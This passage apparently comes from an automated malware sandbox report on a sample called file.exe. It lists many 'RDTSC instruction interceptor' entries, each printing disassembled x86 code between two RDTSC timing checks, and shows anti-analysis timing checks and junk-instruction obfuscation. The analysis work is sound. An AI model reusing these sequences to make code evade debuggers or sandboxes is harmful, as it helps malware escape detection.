ebx, edi 0x0000005b push FFFFFFFFh 0x0000005d mov edi, dword ptr [ebp+124655B3h] 0x00000063 nop 0x00000064 pushad 0x00000065 jnc 00007F99D0DE6F2Ch 0x0000006b jmp 00007F99D0DE6F32h 0x00000070 popad 0x00000071 push eax 0x00000072 pushad 0x00000073 jmp 00007F99D0DE6F2Ah 0x00000078 push esi 0x00000079 push eax 0x0000007a push edx 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88A86 second address: D88A8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88A8A second address: D88B08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F99D0DE6F2Eh 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F99D0DE6F28h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c jnl 00007F99D0DE6F2Ch 0x00000032 and edi, dword ptr [ebp+122D297Fh] 0x00000038 push 00000000h 0x0000003a mov dword ptr [ebp+122D33B9h], edi 0x00000040 push 00000000h 0x00000042 sub dword ptr [ebp+122D33B9h], esi 0x00000048 push eax 0x00000049 pushad 0x0000004a jmp 00007F99D0DE6F30h 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F99D0DE6F2Bh 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88CC8 second address: D88CCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8BB8C second address: D8BB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C176 second address: D8C192 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D212 second address: D8D21C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F99D0DE6F2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D21C second address: D8D272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 sub dword ptr [ebp+122D3814h], ecx 0x0000000f push 00000000h 0x00000011 pushad 0x00000012 mov eax, dword ptr [ebp+1245B9ABh] 0x00000018 mov edx, 3F24838Bh 0x0000001d popad 0x0000001e push 00000000h 0x00000020 jmp 00007F99D0D12E22h 0x00000025 xchg eax, esi 0x00000026 jng 00007F99D0D12E2Ch 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 pop edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C35C second address: D8C36C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F99D0DE6F2Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E255 second address: D8E25F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F99D0D12E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E25F second address: D8E265 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E265 second address: D8E269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D3B3 second address: D8D3B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D900B8 second address: D90130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 jmp 00007F99D0D12E23h 0x0000000d pop edi 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F99D0D12E18h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebx 0x0000002e call 00007F99D0D12E18h 0x00000033 pop ebx 0x00000034 mov dword ptr [esp+04h], ebx 0x00000038 add dword ptr [esp+04h], 0000001Bh 0x00000040 inc ebx 0x00000041 push ebx 0x00000042 ret 0x00000043 pop ebx 0x00000044 ret 0x00000045 push 00000000h 0x00000047 mov ebx, edi 0x00000049 pushad 0x0000004a mov si, dx 0x0000004d xor dword ptr [ebp+12470F18h], ebx 0x00000053 popad 0x00000054 xchg eax, esi 0x00000055 push ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 push edx 0x00000059 pop edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D90130 second address: D90146 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F99D0DE6F2Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D90146 second address: D9014C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9014C second address: D90150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9112F second address: D91134 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91FD1 second address: D9201C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 adc ebx, 4B9FD111h 0x0000000f push 00000000h 0x00000011 xor dword ptr [ebp+122D17C2h], eax 0x00000017 mov ebx, 33F176F7h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007F99D0DE6F28h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 00000014h 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 mov ebx, dword ptr [ebp+122D2A73h] 0x0000003e push eax 0x0000003f push eax 0x00000040 pushad 0x00000041 jbe 00007F99D0DE6F26h 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9025D second address: D90261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D90261 second address: D9027D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9027D second address: D90282 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D90282 second address: D90288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93DF4 second address: D93E70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F99D0D12E18h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push 00000000h 0x00000029 mov ebx, 1A55EA9Bh 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F99D0D12E18h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 0000001Ch 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a jnp 00007F99D0D12E22h 0x00000050 jc 00007F99D0D12E1Ch 0x00000056 sub dword ptr [ebp+122D36A7h], edi 0x0000005c mov edi, dword ptr [ebp+124656F1h] 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 push ecx 0x00000067 pop ecx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93E70 second address: D93E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F393 second address: D8F397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F397 second address: D8F39D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D921CB second address: D921CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96C09 second address: D96C18 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33D5C second address: D33D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D94EE7 second address: D94F13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jc 00007F99D0DE6F40h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F99D0DE6F32h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99313 second address: D99318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FDA4 second address: D9FDAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FDAA second address: D9FDB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FDB2 second address: D9FDB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FDB8 second address: D9FDBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FDBE second address: D9FDCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F99D0DE6F26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FDCE second address: D9FDD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FDD2 second address: D9FDD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F4C7 second address: D9F4DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E1Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F4DA second address: D9F4DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F4DE second address: D9F4F3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F99D0D12E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007F99D0D12E57h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F4F3 second address: D9F51F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F99D0DE6F26h 0x0000000a jp 00007F99D0DE6F26h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F99D0DE6F39h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F980 second address: D9F988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F988 second address: D9F98E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5579 second address: DA5582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5667 second address: DA56CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jno 00007F99D0DE6F2Ah 0x00000013 mov eax, dword ptr [eax] 0x00000015 jmp 00007F99D0DE6F39h 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f jmp 00007F99D0DE6F35h 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F99D0DE6F2Bh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5770 second address: BBEA6B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 472AFCC5h 0x0000000f jmp 00007F99D0D12E1Eh 0x00000014 push dword ptr [ebp+122D13FDh] 0x0000001a clc 0x0000001b call dword ptr [ebp+122D3960h] 0x00000021 pushad 0x00000022 mov dword ptr [ebp+122D2374h], eax 0x00000028 xor eax, eax 0x0000002a je 00007F99D0D12E1Eh 0x00000030 jmp 00007F99D0D12E20h 0x00000035 mov edx, dword ptr [esp+28h] 0x00000039 jmp 00007F99D0D12E1Dh 0x0000003e mov dword ptr [ebp+122D2CCFh], eax 0x00000044 pushad 0x00000045 pushad 0x00000046 xor edi, dword ptr [ebp+122D2CB7h] 0x0000004c popad 0x0000004d mov si, di 0x00000050 popad 0x00000051 mov esi, 0000003Ch 0x00000056 mov dword ptr [ebp+122D285Ah], eax 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 jmp 00007F99D0D12E27h 0x00000065 lodsw 0x00000067 jg 00007F99D0D12E1Ch 0x0000006d add eax, dword ptr [esp+24h] 0x00000071 jno 00007F99D0D12E1Ch 0x00000077 mov ebx, dword ptr [esp+24h] 0x0000007b jp 00007F99D0D12E1Ch 0x00000081 mov dword ptr [ebp+122D2374h], ebx 0x00000087 nop 0x00000088 push eax 0x00000089 push edx 0x0000008a pushad 0x0000008b pushad 0x0000008c popad 0x0000008d jmp 00007F99D0D12E23h 0x00000092 popad 0x00000093 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D330 second address: D2D334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D334 second address: D2D354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F99D0D12E22h 0x0000000c jmp 00007F99D0D12E1Ch 0x00000011 jp 00007F99D0D12E22h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D354 second address: D2D362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F99D0DE6F26h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D362 second address: D2D36C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F99D0D12E16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D36C second address: D2D372 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA3B2 second address: DAA3F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 jmp 00007F99D0D12E25h 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop ecx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 push esi 0x00000019 jno 00007F99D0D12E16h 0x0000001f jmp 00007F99D0D12E1Dh 0x00000024 pop esi 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA3F3 second address: DAA3F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA580 second address: DAA586 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA586 second address: DAA5B2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F99D0DE6F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007F99D0DE6F36h 0x00000014 push edi 0x00000015 pop edi 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA763 second address: DAA773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99D0D12E1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA773 second address: DAA777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA777 second address: DAA792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F99D0D12E16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 popad 0x00000011 jnp 00007F99D0D12E26h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA792 second address: DAA798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAAA2A second address: DAAA30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAAA30 second address: DAAA36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAAA36 second address: DAAA3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAAA3A second address: DAAA61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F99D0DE6F36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAAA61 second address: DAAA74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F99D0D12E16h 0x0000000a popad 0x0000000b jc 00007F99D0D12E18h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF498 second address: DAF4C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007F99D0DE6F2Ch 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF4C0 second address: DAF4C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF771 second address: DAF79D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99D0DE6F31h 0x00000009 popad 0x0000000a jmp 00007F99D0DE6F2Bh 0x0000000f push esi 0x00000010 jg 00007F99D0DE6F26h 0x00000016 pop esi 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAFB9F second address: DAFBA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAFBA3 second address: DAFBA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0223 second address: DB0238 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E21h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0238 second address: DB0267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 ja 00007F99D0DE6F28h 0x0000000e jc 00007F99D0DE6F2Ch 0x00000014 jo 00007F99D0DE6F26h 0x0000001a pushad 0x0000001b jmp 00007F99D0DE6F30h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0758 second address: DB0763 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F99D0D12E16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0763 second address: DB0780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99D0DE6F2Fh 0x00000009 jp 00007F99D0DE6F26h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D829AA second address: D649B9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F99D0D12E1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jp 00007F99D0D12E22h 0x00000011 nop 0x00000012 sub dx, BF80h 0x00000017 call dword ptr [ebp+122D2739h] 0x0000001d push edi 0x0000001e jmp 00007F99D0D12E1Ch 0x00000023 je 00007F99D0D12E24h 0x00000029 jmp 00007F99D0D12E1Ch 0x0000002e pushad 0x0000002f popad 0x00000030 pop edi 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F99D0D12E1Bh 0x00000038 js 00007F99D0D12E2Bh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82F43 second address: D82F47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82F47 second address: BBEA6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F99D0D12E1Ch 0x0000000c popad 0x0000000d nop 0x0000000e mov dx, si 0x00000011 push dword ptr [ebp+122D13FDh] 0x00000017 xor edx, dword ptr [ebp+122D2A67h] 0x0000001d call dword ptr [ebp+122D3960h] 0x00000023 pushad 0x00000024 mov dword ptr [ebp+122D2374h], eax 0x0000002a xor eax, eax 0x0000002c je 00007F99D0D12E1Eh 0x00000032 jmp 00007F99D0D12E20h 0x00000037 mov edx, dword ptr [esp+28h] 0x0000003b jmp 00007F99D0D12E1Dh 0x00000040 mov dword ptr [ebp+122D2CCFh], eax 0x00000046 pushad 0x00000047 pushad 0x00000048 xor edi, dword ptr [ebp+122D2CB7h] 0x0000004e popad 0x0000004f mov si, di 0x00000052 popad 0x00000053 mov esi, 0000003Ch 0x00000058 mov dword ptr [ebp+122D285Ah], eax 0x0000005e add 